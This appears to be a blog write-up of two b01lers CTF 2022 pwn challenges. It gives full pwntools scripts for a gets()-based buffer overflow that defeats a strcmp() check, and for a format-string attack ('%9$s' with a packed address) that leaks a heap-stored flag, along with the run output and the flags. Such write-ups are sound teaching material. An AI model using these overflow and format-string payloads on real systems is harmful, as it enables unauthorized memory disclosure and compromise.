b01lers CTF 2022 Write-up (Pwn)

Hi everyone! This post is on b01lers CTF 2022’s pwn challenges which was held on 23/4 – 24/4. The pwn challenges are on using gets() and overflow to bypass strcmp() as well as string format attack to leak the flag located in heap memory. Let’s get started!

1. gambler_overflow

Feeling luuuuuuuucky?

You must create a flag.txt in the same folder as the binary for it to run.
nc ctf.b01lers.com 9203

Provided file: gambler_overflow

1.1 Overview of the program

We can see main() is rather basic.

We can see that in setup(), it will try to obtain the flag.

casino() is the main function we are interested in. We start off with 100 coins and will need to reach 1000 coins to win before the flag is printed. However, we need to guess the random string correctly to win 10 coins/round. Otherwise, we lose 10 coins/round.

1.2 Vulnerability found

We can see that gets() is being used in line 18. Our input will be stored in the s2 buffer while the random string we need to guess will be stored in the s buffer. This allows us to overflow into the s buffer so that we can modify the s buffer’s value and strcmp() to return 0.

Note that gets() only stop reading our input due to a newline character, not NULL bytes. Meanwhile, strcmp() reads until a NULL byte.

1.4 Craft exploit & get the flag

Below shows gambler_overflow_exploit.py. It will take a long time to run as there are 90 rounds. If you prefer to see what is going on, just uncomment “context.log_level = ‘debug'” and “r.interactive()”. It will print the payload being sent and the packets received.

from pwn import *

r = remote("ctf.b01lers.com", 9203)
# local debugging
#r = process("./gambler_overflow")
#context.log_level = 'debug'

# memory to write to s and s2 buffers since gets() only care about newline and not \x00
s2 = b'A' * 6 + b'\x00' + b'A'
s = b'A' * 6 + b'\x00'
payload = s2 + s

number_of_times_to_play = (1000-100)//10
for i in range(number_of_times_to_play):
	r.sendlineafter(b'Guess me a string of length 4 with lowercase letters: ', payload)

#r.interactive()
# Receives: b'Your guess: AAAAAA\n'
r.recvuntil(b'\n')
# Receives: b'Correct word: AAAAAA\n'
r.recvuntil(b'\n')
# Receives: b'You won (wow)! +10 coins.\n'
r.recvuntil(b'\n')
flag = r.recvuntil(b'\n')
log.info("Flag: " + str(flag))

r.close()
kali@kali~$ python3 gambler_overflow_exploit.py
[+] Opening connection to ctf.b01lers.com on port 9203: Done
[*] Flag: b'bctf{0v3rfl0w_w1th0ut_5m45h1ng}\n'
[*] Closed connection to ctf.b01lers.com port 9203

2. gambler_supreme

The Casino, but with a cool new feature!

You must create a flag.txt in the same folder as the binary for it to run.
nc ctf.b01lers.com 9201

Provided file: gambler_supreme

2.1 Overview of the program

In main(), we can see that there is still setup(). However, what is interesting is the difficulty variable which is slightly different from the gambler_overflow challenge. This variable affects the bet amount. Later we will see that it is useless as we don’t need it to get the flag. We can just set any value we want.

We can see that in setup(), it will try to obtain the flag.

We can see that in read_file(), the flag global variable will be assigned with a heap memory created by calloc().

As usually, casino() is the main function we are interested in. Looking through, we can actually see that winning the game is useless as it won’t give us the flag. However, what is interesting is it seems to be vulnerable to the format string attack.

2.2 Security

kali@kali~$ ~/.local/bin/pwn checksec ./gambler_supreme
[*] '/home/kali/Desktop/gambler_supreme'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.3 Vulnerability found

Since we already know it is vulnerable to the format string attack, we can test it out.

We can actually see that the start of the format buffer is at the 8th offset as shown in orange font. The return address can be seen in the pink font which is 0x38 bytes away from the start of the format buffer (can be verified in IDA). Therefore, there is indeed no PIE and the address is exactly the same as what we see on IDA.

kali@kali~$ nc ctf.b01lers.com 9201
This version comes with a new fancy feature: difficulty!
Enter a difficulty between 1 and 7 (inclusive): 1
Welcome to the casino! A great prize awaits you when you hit 1000 coins 😉
Your current balance: 100
Guess me a string of length 1 with lowercase letters: AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Your guess: AAAA 0x7ffea972b960 (nil) (nil) 0xc 0xc 0x38 0x1dcd766a0 0x2070252041414141 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x7f0070252070 0x401879 (nil)
Correct word:  %p %p %p %p %p %p %p %p %p %p %p %p
Bummer, you lost. -10 coins.
Your current balance: 90
Guess me a string of length 1 with lowercase letters: ^C

In main(), we can see that after calling casino(), the address is indeed 0x401879.

2.4 Craft exploit & get the flag

Exploitation steps:

  1. Leak the calloc address that is stored in the global flag variable
  2. Print out the actual flag value located at the calloc created address

There is a similar write-up I did for HackTheBox Format which has a very detailed explanation of format string attacks to leak addresses and contents. The slight difference is it is needed to leak the ALSR address of puts() in the Global Offset Table to bypass ASLR in libc.

Just like in HackTheBox’s Format challenge, I explained that we cannot put the address we want to print before “%9$s” as 0x404050 will be sent as 0x0000000000404050 (\x50\x40\x40\x00\x00\x00\x00\x00). NULL bytes will cause the string to be printed to be cut off (shown in the example before). Hence we have to place the address we want to print at the back while “%9$s” will be placed in front.

printf(flag_address + "\0\0\0\0" + "%8$s\0\0\0\0", flag);

Note that I used ljust() for “%9$s” as we need to align to 64 bits. This will append “\x00” until it aligns to 8 bytes (64 bits).

    <in index 8>              <in index 9>
%9$s\x00\x00\x00\x00\x50\x40\x40\x00\x00\x00\x00\x00

Finally, we have gambler_supreme_exploit.py:

from pwn import *

context.arch = "amd64"

r = remote("ctf.b01lers.com", 9201)
# for local debugging
#r = process("./gambler_supreme")

# choose level 1 difficulty. Actually, it doesn't matter.
r.sendlineafter(b'Enter a difficulty between 1 and 7 (inclusive): ', b'1')

#### Leak calloc address assigned to global variable flag which contains the actual flag value ####
payload = b'%9$s'.ljust(8, b"\x00") + p64(0x404050)
r.sendlineafter(b'Guess me a string of length 1 with lowercase letters: ', payload)

# get the calloc address
r.recvuntil(b'our guess: ')
flag_calloc_addr = r.recvuntil(b'\n', drop=True)
flag_calloc_addr = u64(flag_calloc_addr.ljust(8, b"\x00"))
log.info("flag calloc address: " + hex(flag_calloc_addr))

############## Obtain the flag ##############
payload = b'%9$s'.ljust(8, b"\x00") + p64(flag_calloc_addr)
r.sendlineafter(b'Guess me a string of length 1 with lowercase letters: ', payload)
r.recvuntil(b'our guess: ')
flag= r.recvuntil(b'\n')
log.info("Flag: " + str(flag))

r.close()
kali@kali~$ python3 gambler_supreme_exploit.py
[+] Opening connection to ctf.b01lers.com on port 9201: Done
[*] flag calloc address: 0x15eb490
[*] Flag: b'bctf{1_w4nn4_b3_th3_pr0_g4mb13r}\n'
[*] Closed connection to ctf.b01lers.com port 9201

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.